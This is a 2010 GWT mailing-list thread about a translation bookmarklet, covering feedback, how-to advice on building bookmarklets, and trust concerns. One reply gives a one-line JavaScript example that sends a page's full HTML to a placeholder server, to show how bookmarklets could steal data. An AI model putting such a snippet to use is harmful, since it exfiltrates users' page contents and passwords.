Bookmarklet with GWT

62 views
Skip to first unread message

KeremTiryaki

unread,
Jun 12, 2010, 7:55:49 PM6/12/10
to Google Web Toolkit
Hello
I have developed a translate bookmarklet with gwt.
Could you please try and send some feedback about? http://translatebookmarklet.appspot.com/

Its server side is app engine
I have used http://code.google.com/p/google-api-translate-java/
JSONP for cross-domain communication.
It listens mouse selection and keyboard for rapid results. also saves
the user preferences, If user logged.

Sky

unread,
Jun 12, 2010, 8:17:15 PM6/12/10
to Google Web Toolkit
I quickly checked out the link to http://translatebookmarklet.appspot.com/
I have not tried using the actual app yet, but I see several things
that could be improved from the start.

The bookmarklet code:
javascript:(function(){
if(document.getElementById('GTranslatorscript')==null){
gtb=document.createElement('SCRIPT');
gtb.type='text/javascript';
gtb.id='GTranslatorscript';
gtb.src='http://translatebookmarklet.appspot.com/gtb.js';
document.getElementsByTagName('head')[0].appendChild(gtb);
}else{
window.alert('GTranslator is already loaded!');}
})();"

You should NOT user the alert() to tell the user that it is already
loaded. That's just annoying. Just don't do anything if it's already
loaded.

Your youtube video needs audio to explain what you are doing, and more
zooming in to see what you are typing... I couldn't tell exactly what
was going on.

Your homepage needs to be really cleaned up and made more professional
"Bookmarklet gonna save your language preferences" <- using the word
"gonna" is terrible!

Sorry, I don't have time right now to check out the actual product.
Maybe later. Just remember, first impressions are incredibly
important... including to get my interest to check it out and give you
feedback. I'd be much more willing to look for bugs and problems if it
seemed like you had a finished product made to look real professional.

gl and sry for only negative feedback.... if the app works like it's
supposed to then I bet it's awesome, so good job and keep up the hard
work!

cheers ^_^

On Jun 12, 6:55 pm, KeremTiryaki <keremtiry...@gmail.com> wrote:
> Hello
>   I have developed a translate bookmarklet with gwt.
> Could you please try and send some feedback about?http://translatebookmarklet.appspot.com/
>
> Its server side is app engine
> I have usedhttp://code.google.com/p/google-api-translate-java/

Sky

unread,
Jun 12, 2010, 8:45:15 PM6/12/10
to Google Web Toolkit
Oh, also, I'm SUPER wary of actually running that bookmarklet because
of the fact it is injecting javascript directly into whatever page I
am viewing. This compromises all security if you ever put malicious
code in your app. Not only is there the issue of you being able to
know what sites I visit and bookmark, but you have the power to get my
passwords and credit card numbers if you wanted to and if I clicked on
your bookmarklet on a page that I enter such information.

So I don't know how many users are going to be willing to trust your
app. I don't think I will unless myself or another third party goes
through your code to be sure you aren't trying to get data from input
fields. It would be different if you were a big, well known company
providing this app. If google, yahoo, MS, or even much smaller
companies were offering this, then it could be trusted because no well
established company is going to publish malicious code without reaping
huge consequences.

my 2 cents.

On Jun 12, 7:17 pm, Sky <myonceinalifet...@gmail.com> wrote:
> I quickly checked out the link tohttp://translatebookmarklet.appspot.com/

KeremTiryaki

unread,
Jun 13, 2010, 7:24:45 AM6/13/10
to Google Web Toolkit
> On Jun 12, 7:17 pm, Sky <myonceinalifet...@gmail.com> wrote:
>
> > I quickly checked out the link tohttp://translatebookmarklet.appspot.com/
> > I have not tried using the actual app yet, but I see several things
> > that could be improved from the start.
>
> > The bookmarklet code:
> > javascript:(function(){
> >         if(document.getElementById('GTranslatorscript')==null){
> >                 gtb=document.createElement('SCRIPT');
> >                 gtb.type='text/javascript';
> >                 gtb.id='GTranslatorscript';
> >                 gtb.src='http://translatebookmarklet.appspot.com/gtb.js';
> >                 document.getElementsByTagName('head')[0].appendChild(gtb);
> >         }else{
> >                 window.alert('GTranslator is already loaded!');}
> >         })();"


> > You should NOT user the alert() to tell the user that it is already
> > loaded. That's just annoying. Just don't do anything if it's already
> > loaded.


I have edited rapidly. NOW it isn't doing anything if it's already
loaded :)


> > Your youtube video needs audio to explain what you are doing, and more
> > zooming in to see what you are typing... I couldn't tell exactly what
> > was going on.

I need to more reliable video. but my spelling is not good. I need a
professional help about it



> > Your homepage needs to be really cleaned up and made more professional
> > "Bookmarklet gonna save your language preferences" <- using the word
> > "gonna" is terrible!

Now I am started to develop new web page to it. Thanks for your good
feedback


> > Sorry, I don't have time right now to check out the actual product.
> > Maybe later. Just remember, first impressions are incredibly
> > important... including to get my interest to check it out and give you
> > feedback. I'd be much more willing to look for bugs and problems if it
> > seemed like you had a finished product made to look real professional.
>
> > gl and sry for only negative feedback.... if the app works like it's
> > supposed to then I bet it's awesome, so good job and keep up the hard
> > work!

Negative feedbacks are helping to improve appl. the worth of negative
feedback are more important than positive ones for me.
Thank you very much for everything. I will try to impress you next
time

> > cheers ^_^
Cheers :)


On Jun 13, 3:45 am, Sky <myonceinalifet...@gmail.com> wrote:
> Oh, also, I'm SUPER wary of actually running that bookmarklet because
> of the fact it is injecting javascript directly into whatever page I
> am viewing. This compromises all security if you ever put malicious
> code in your app. Not only is there the issue of you being able to
> know what sites I visit and bookmark, but you have the power to get my
> passwords and credit card numbers if you wanted to and if I clicked on
> your bookmarklet on a page that I enter such information.
>
> So I don't know how many users are going to be willing to trust your
> app. I don't think I will unless myself or another third party goes
> through your code to be sure you aren't trying to get data from input
> fields. It would be different if you were a big, well known company
> providing this app. If google, yahoo, MS, or even much smaller
> companies were offering this, then it could be trusted because no well
> established company is going to publish malicious code without reaping
> huge consequences.
>
> my 2 cents.

this is actually your choices. If you are not feel good with
bookmarklet, you can check its codes.
And If you want to see java codes of it, I will share them when
everything is finished.

Thank you very much For YOUR FEEDBACKS

Thomas Broyer

unread,
Jun 13, 2010, 9:27:21 AM6/13/10
to Google Web Toolkit


On 13 juin, 02:45, Sky <myonceinalifet...@gmail.com> wrote:
> Oh, also, I'm SUPER wary of actually running that bookmarklet because
> of the fact it is injecting javascript directly into whatever page I
> am viewing. This compromises all security if you ever put malicious
> code in your app. Not only is there the issue of you being able to
> know what sites I visit and bookmark, but you have the power to get my
> passwords and credit card numbers if you wanted to and if I clicked on
> your bookmarklet on a page that I enter such information.

That's a global issue with bookmarklets, not only if they inject some
script. E.g.
javascript:var xhr=new XMLHttpRequest;xhr.open('POST','http://myserver/
foo');xhr.send(document.documentElement.innerHTML);

With a bit more work, I could easily grab all password fields and send
their values to any server.

> So I don't know how many users are going to be willing to trust your
> app. I don't think I will unless myself or another third party goes
> through your code to be sure you aren't trying to get data from input
> fields.

The issue with bookmarklets injecting scripts, is that they can
"become evil" without your bookmarklet code changing (this is also an
advantage, as the bookmarklet somehow "updates" itself just as any web
app).

dino

unread,
Jun 13, 2010, 12:57:27 PM6/13/10
to Google Web Toolkit
I trust him :p
how do you create a bookmarklet in gwt? like a casual gwt project?

Sky

unread,
Jun 13, 2010, 3:31:07 PM6/13/10
to Google Web Toolkit


On Jun 13, 8:27 am, Thomas Broyer <t.bro...@gmail.com> wrote:
> The issue with bookmarklets injecting scripts, is that they can
> "become evil" without your bookmarklet code changing (this is also an
> advantage, as the bookmarklet somehow "updates" itself just as any web
> app).

Indeed, since they are injecting code, they only have to change the JS
code and the bookmarklet becomes "updated".

So ya, I seriously have a hard time trusting a bookmarklet unless it
comes from a legit and well established business. The worst a legit
biz is going to do is do data mining on the things I do... they aren't
going to steal my passwords and credit cards.

Dino, all you have to do is drag his GTB link into the bookmark area
to create a bookmarklet in the Chrome browser. I don't know if any
other browsers support bookmarklets yet. It's got nothing to do with
creating a gwt project.

dino

unread,
Jun 13, 2010, 3:52:06 PM6/13/10
to Google Web Toolkit
I want to write my own bookmarklet in gwt and I didn't found any good
tutorial online.
This guy managed to do so, I want to know why.
And yes, most browsers support bookmarklets

KeremTiryaki

unread,
Jun 13, 2010, 7:27:42 PM6/13/10
to Google Web Toolkit
> I want to write my own bookmarklet in gwt and I didn't found any good
> tutorial online.
> This guy managed to do so, I want to know why.
> And yes, most browsers support bookmarklets

5 months ago, I wrote a tutorial http://keremt.blogspot.com/2010/01/making-bookmarklet-with-gwt-20-and.html
but you are right, it is not a good one :) I will try to make a video
about it for better explain.


And Yes bookmarklets could be a BigDevil. These kind of tools must be
open source. They are only JS, They are already open source. But I
will share the gwt codes as soon as possible.

> how do you create a bookmarklet in gwt? like a casual gwt project?
Yes it is casual gwt project. but you need to do something after
compile java codes. There is some trick about server
communication(http://code.google.com/webtoolkit/doc/latest/tutorial/
Xsite.html). I explained it in my blog post, but I will give more info
about it...

> Dino:This guy managed to do so, I want to know why.
Because I need a translate tool like that :) and am I misunderstood
you?

Thanks a lot

Olivier Monaco

unread,
Jun 13, 2010, 8:05:24 PM6/13/10
to Google Web Toolkit
Hi Kerem,

Your way to create a bookmarklet is not trivial. If you want a easier
way, you can try my bookmarklet linker (http://code.google.com/p/tyco/
source/browse/#svn/trunk/tyco-gwt/src/main/com/googlecode/tyco/gwt/
bookmarklet). Then, you just have to write a bookmarklet that load
the .nocache.js file.

Olivier

On 14 juin, 01:27, KeremTiryaki <keremtiry...@gmail.com> wrote:
> > I want to write my own bookmarklet in gwt and I didn't found any good
> > tutorial online.
> > This guy managed to do so, I want to know why.
> > And yes, most browsers support bookmarklets
>
> 5 months ago, I wrote a tutorialhttp://keremt.blogspot.com/2010/01/making-bookmarklet-with-gwt-20-and...

dino

unread,
Jun 14, 2010, 2:17:04 AM6/14/10
to Google Web Toolkit
yes, you misunderstood me :p I don't speak english and have sometimes
trouble explaining what I wan't :p
but that sentence is non-trivial and you already answered what I
needed to know

Sorry that I called your tutorial not good but It looked rather
confusing. It looks like you are doing some buggy changes, it only
looks that way. It kept me back for that reason. Maybe I'll better
reread it and write a java program to automate it.

Oh and I have to check out that plugin Olivier pointed out. I'm just
curious what that plugin does apart from what keremTyriaky posted.

If you ask my opinion about the end product: Never seen any bugs,
works very good and is handy if I want to understand some sentences,
thanks. But I think there are more useful uses then a translator.

On Jun 14, 1:27 am, KeremTiryaki <keremtiry...@gmail.com> wrote:
> > I want to write my own bookmarklet in gwt and I didn't found any good
> > tutorial online.
> > This guy managed to do so, I want to know why.
> > And yes, most browsers support bookmarklets
>
> 5 months ago, I wrote a tutorialhttp://keremt.blogspot.com/2010/01/making-bookmarklet-with-gwt-20-and...

Olivier Monaco

unread,
Jun 14, 2010, 3:16:50 AM6/14/10
to Google Web Toolkit
My linker generate .cache.js files instead of .nocache.js (in fact it
use XsLinker). Then, it create a bootstrap script (the .nocache.js)
derived from the one for XsLinker.

But there's a limitation. The bootstrap needs the base path of the GWT
folder (the one with .cache.js files). To find it, the bootstrap needs
to find the script tag of itself. You must add an id attribute to it
containing the name of your module followed by "Loader". If your
bootstrap script is "myscript.cache.js", the id must be
"myscriptLoader".

Then your bookmarklet is:
javascript:(function(){var
%20t=document.createElement('script');t.id='myscriptLoader';t.type='text/
javascript';t.src='http://www.server.com/myscript.nocache.js?
_bk_='+t.id+'&_nocache='+(new
%20Date()).valueOf();document.getElementsByTagName('head')
[0].appendChild(t);})();

Olivier

dino

unread,
Jun 14, 2010, 7:33:19 AM6/14/10
to Google Web Toolkit
how do you do the debugging?
It doesn't work in hosted mode or does it?

Olivier Monaco

unread,
Jun 14, 2010, 9:08:31 AM6/14/10
to Google Web Toolkit
It doesn't support hosted mode. I have one project with standard
linker for debugging and on project with bookmarklet linker.

Olivier
Reply all
Reply to author
Forward
0 new messages